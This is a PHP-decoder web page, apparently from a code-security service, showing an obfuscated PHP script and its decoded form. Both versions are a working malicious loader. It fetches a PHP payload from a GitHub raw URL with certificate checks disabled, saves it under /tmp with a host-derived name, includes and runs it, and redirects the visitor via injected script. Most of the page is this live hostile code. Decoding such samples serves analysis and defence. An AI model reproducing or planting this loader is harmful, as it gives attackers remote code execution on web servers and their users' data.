Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto pDqo7; MDLMx: ${${"\x47\x4c\117\x42\x41\x4c\123"}["\x72\160\x64\x6a\166\x62\1..

Decoded Output download

<?php 
 goto pDqo7; MDLMx: ${${"GLOBALS"}["rpdjvbszirnfrzm_zjs_ysmrqnsgz"]} = array("https://raw.githubusercontent.com/rinajuwita0704/test/main/by.php", "/tmp/sesss_" . md5(${${"GLOBALS"}["ojxbegrrd_vvrczjguryftrza_qydbtbjalurxyf"]}["HTTP_HOST"]) . ".php"); goto ZFb8s; ZFb8s: if (file_exists(${${"GLOBALS"}["rpdjvbszirnfrzm_zjs_ysmrqnsgz"]}[1]) && filesize(${${"GLOBALS"}["rpdjvbszirnfrzm_zjs_ysmrqnsgz"]}[1]) !== 0) { include ${${"GLOBALS"}["rpdjvbszirnfrzm_zjs_ysmrqnsgz"]}[1]; } else { ${${"GLOBALS"}["t_dmnlchagazasrz_czknnjjkts_bvhbsdgxoq"]} = fopen(${${"GLOBALS"}["rpdjvbszirnfrzm_zjs_ysmrqnsgz"]}[1], "w+"); fwrite(${${"GLOBALS"}["t_dmnlchagazasrz_czknnjjkts_bvhbsdgxoq"]}, get(${${"GLOBALS"}["rpdjvbszirnfrzm_zjs_ysmrqnsgz"]}[0])); fclose(${${"GLOBALS"}["t_dmnlchagazasrz_czknnjjkts_bvhbsdgxoq"]}); echo "<script>window.location="?zet";</script>"; } goto Z6ugb; pDqo7: ${"GLOBALS"}["rpdjvbszirnfrzm_zjs_ysmrqnsgz"] = "data"; goto lNdfN; eUW_0: ${"GLOBALS"}["zalywttqeuqdee_twk_ix"] = "ch"; goto RYoWH; lNdfN: ${"GLOBALS"}["ojxbegrrd_vvrczjguryftrza_qydbtbjalurxyf"] = "_SERVER"; goto O5Rwr; O5Rwr: ${"GLOBALS"}["t_dmnlchagazasrz_czknnjjkts_bvhbsdgxoq"] = "fopen"; goto eUW_0; RYoWH: ${"GLOBALS"}["dzrivgxrevrn_vq_hmemyhawabzwmvk"] = "url"; goto MDLMx; Z6ugb: function get($url) { ${${"GLOBALS"}["zalywttqeuqdee_twk_ix"]} = curl_init(); curl_setopt(${${"GLOBALS"}["zalywttqeuqdee_twk_ix"]}, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt(${${"GLOBALS"}["zalywttqeuqdee_twk_ix"]}, CURLOPT_URL, ${${"GLOBALS"}["dzrivgxrevrn_vq_hmemyhawabzwmvk"]}); curl_setopt(${${"GLOBALS"}["zalywttqeuqdee_twk_ix"]}, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt(${${"GLOBALS"}["zalywttqeuqdee_twk_ix"]}, CURLOPT_SSL_VERIFYPEER, FALSE); return curl_exec(${${"GLOBALS"}["zalywttqeuqdee_twk_ix"]}); curl_close(${${"GLOBALS"}["zalywttqeuqdee_twk_ix"]}); } goto djT_S; djT_S: ?>

Did this file decode correctly?

Original Code

<?php
 goto pDqo7; MDLMx: ${${"\x47\x4c\117\x42\x41\x4c\123"}["\x72\160\x64\x6a\166\x62\163\x7a\x69\x72\156\x66\162\x7a\155\x5f\172\x6a\163\x5f\171\x73\x6d\x72\161\156\x73\147\172"]} = array("\x68\164\x74\x70\x73\72\57\57\x72\x61\167\x2e\x67\x69\x74\x68\165\x62\165\x73\x65\162\143\x6f\x6e\164\x65\x6e\x74\x2e\x63\x6f\155\x2f\x72\151\x6e\x61\152\x75\x77\x69\164\141\60\67\x30\64\x2f\164\x65\x73\x74\57\155\x61\151\x6e\57\142\171\x2e\x70\x68\160", "\57\164\155\160\x2f\163\x65\163\163\x73\x5f" . md5(${${"\x47\x4c\x4f\102\x41\x4c\123"}["\x6f\x6a\x78\142\145\147\x72\162\144\x5f\x76\166\x72\143\x7a\x6a\147\165\162\x79\146\164\x72\x7a\141\137\x71\171\144\x62\x74\x62\152\x61\x6c\165\162\x78\x79\x66"]}["\x48\x54\124\x50\x5f\110\117\x53\x54"]) . "\56\160\x68\x70"); goto ZFb8s; ZFb8s: if (file_exists(${${"\107\114\x4f\102\101\x4c\123"}["\x72\160\x64\152\x76\142\163\x7a\151\162\156\146\x72\172\x6d\x5f\172\152\163\x5f\171\x73\x6d\162\x71\x6e\163\x67\172"]}[1]) && filesize(${${"\x47\114\x4f\102\101\114\x53"}["\x72\160\144\152\x76\x62\x73\x7a\x69\x72\x6e\146\x72\172\x6d\137\x7a\152\x73\137\x79\x73\x6d\x72\x71\156\x73\x67\x7a"]}[1]) !== 0) { include ${${"\x47\114\117\102\x41\x4c\x53"}["\x72\160\144\x6a\166\x62\x73\x7a\151\162\156\146\x72\x7a\155\137\172\152\x73\x5f\171\x73\x6d\x72\x71\x6e\x73\147\172"]}[1]; } else { ${${"\x47\114\x4f\102\101\114\123"}["\x74\137\x64\155\156\154\x63\x68\x61\x67\x61\172\x61\x73\162\x7a\x5f\x63\x7a\153\x6e\156\152\152\153\164\x73\x5f\142\166\150\x62\x73\144\x67\170\x6f\161"]} = fopen(${${"\107\114\117\102\101\114\123"}["\162\x70\144\x6a\x76\x62\163\x7a\x69\162\x6e\x66\162\172\155\x5f\172\152\x73\137\171\163\x6d\x72\x71\156\163\147\x7a"]}[1], "\x77\53"); fwrite(${${"\107\x4c\x4f\x42\101\114\123"}["\164\137\144\x6d\156\x6c\143\x68\141\x67\x61\x7a\x61\x73\162\172\137\x63\x7a\153\x6e\156\x6a\x6a\153\x74\x73\137\142\x76\x68\142\x73\144\x67\x78\x6f\x71"]}, get(${${"\x47\x4c\117\102\101\114\123"}["\162\x70\x64\x6a\x76\x62\163\x7a\x69\162\156\x66\x72\x7a\155\x5f\x7a\x6a\x73\x5f\171\163\155\162\x71\x6e\163\147\x7a"]}[0])); fclose(${${"\x47\114\x4f\102\x41\114\x53"}["\x74\x5f\144\x6d\156\154\143\150\x61\x67\141\172\141\x73\162\x7a\x5f\x63\172\x6b\156\156\152\x6a\x6b\164\x73\137\x62\166\x68\142\163\144\x67\170\x6f\x71"]}); echo "\x3c\x73\143\x72\x69\160\164\x3e\x77\151\156\x64\157\x77\x2e\154\157\x63\141\164\x69\157\x6e\x3d\x22\x3f\172\x65\164\x22\x3b\x3c\x2f\163\143\162\x69\x70\x74\x3e"; } goto Z6ugb; pDqo7: ${"\x47\x4c\117\x42\101\x4c\x53"}["\162\x70\x64\x6a\x76\142\163\172\151\162\x6e\x66\x72\172\155\x5f\172\152\x73\x5f\x79\163\155\x72\x71\x6e\x73\147\x7a"] = "\x64\x61\164\141"; goto lNdfN; eUW_0: ${"\x47\x4c\117\102\101\x4c\x53"}["\172\141\154\x79\167\x74\164\x71\x65\165\x71\144\x65\x65\x5f\x74\167\153\137\151\x78"] = "\143\x68"; goto RYoWH; lNdfN: ${"\x47\114\117\x42\x41\x4c\x53"}["\x6f\152\170\x62\x65\147\x72\x72\144\137\x76\x76\162\143\172\152\x67\x75\x72\x79\146\x74\x72\x7a\x61\x5f\161\x79\144\x62\x74\142\152\141\154\165\x72\x78\171\146"] = "\137\x53\x45\x52\126\105\122"; goto O5Rwr; O5Rwr: ${"\x47\114\x4f\102\101\114\123"}["\x74\137\x64\x6d\x6e\154\143\150\x61\147\141\x7a\x61\163\x72\x7a\137\143\x7a\153\156\156\152\x6a\153\x74\163\137\x62\x76\150\x62\163\x64\x67\x78\x6f\161"] = "\146\157\x70\145\x6e"; goto eUW_0; RYoWH: ${"\x47\114\117\x42\101\114\123"}["\144\x7a\x72\151\x76\147\x78\162\145\x76\162\156\137\x76\x71\x5f\150\x6d\x65\x6d\171\150\141\x77\x61\x62\172\x77\x6d\x76\153"] = "\x75\162\x6c"; goto MDLMx; Z6ugb: function get($url) { ${${"\x47\x4c\117\x42\x41\x4c\x53"}["\x7a\x61\154\171\167\164\164\x71\x65\x75\x71\x64\145\x65\x5f\x74\167\x6b\137\151\x78"]} = curl_init(); curl_setopt(${${"\x47\114\x4f\102\x41\x4c\123"}["\172\141\x6c\x79\167\164\164\x71\145\165\x71\x64\145\x65\137\x74\167\x6b\x5f\151\170"]}, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt(${${"\107\114\117\102\101\114\x53"}["\172\x61\154\x79\x77\x74\x74\161\x65\x75\161\144\145\x65\137\x74\x77\x6b\137\x69\170"]}, CURLOPT_URL, ${${"\x47\x4c\117\102\x41\114\x53"}["\144\172\162\151\x76\147\x78\x72\145\x76\162\x6e\x5f\166\x71\x5f\x68\x6d\x65\155\x79\x68\x61\167\141\x62\172\167\155\166\x6b"]}); curl_setopt(${${"\x47\x4c\117\x42\101\114\x53"}["\172\141\154\171\167\164\164\x71\145\165\161\x64\145\x65\137\164\167\153\137\x69\x78"]}, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt(${${"\x47\x4c\x4f\x42\101\x4c\x53"}["\172\141\154\x79\x77\x74\164\x71\145\x75\x71\144\145\145\137\164\167\x6b\x5f\151\170"]}, CURLOPT_SSL_VERIFYPEER, FALSE); return curl_exec(${${"\x47\x4c\117\x42\x41\x4c\123"}["\x7a\x61\x6c\171\167\x74\x74\x71\145\165\161\x64\145\x65\137\x74\x77\x6b\x5f\x69\x78"]}); curl_close(${${"\107\114\117\102\x41\x4c\123"}["\x7a\x61\154\171\167\164\x74\x71\x65\x75\161\x64\x65\x65\x5f\164\x77\153\x5f\x69\x78"]}); } goto djT_S; djT_S: ?>

Function Calls

None

Variables

None

Stats

MD5 b9d667a963ef172944bbbb5aaf872c90
Eval Count 0
Decode Time 42 ms